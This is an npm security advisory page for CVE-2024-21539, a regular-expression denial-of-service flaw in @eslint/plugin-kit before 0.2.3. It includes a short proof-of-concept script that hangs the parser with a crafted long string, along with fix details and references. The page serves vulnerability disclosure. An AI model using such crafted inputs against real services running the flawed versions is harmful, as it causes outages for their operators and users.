Open-source package vulnerability · npm
CVE-2024-21539: Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
lowCVSS 3.1 3.5GHSA-7q7g-4xm8-89cq
Crafting a very large and well crafted string can increase the CPU usage and crash the program. POC
Published Nov 15, 2024 · Updated Nov 19, 2024
Affected packages
@eslint/plugin-kit
- Ecosystem
- npm
- Affected
- < 0.2.3
- Fixed in
- 0.2.3
- Check
npm ls @eslint/plugin-kit
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usageCredited to mariancorneci-snyk, SuperMaxine, MikuroXina.
References
- https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq
- https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf
- https://nvd.nist.gov/vuln/detail/CVE-2024-21539
- https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627
- https://github.com/advisories/GHSA-7q7g-4xm8-89cq
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
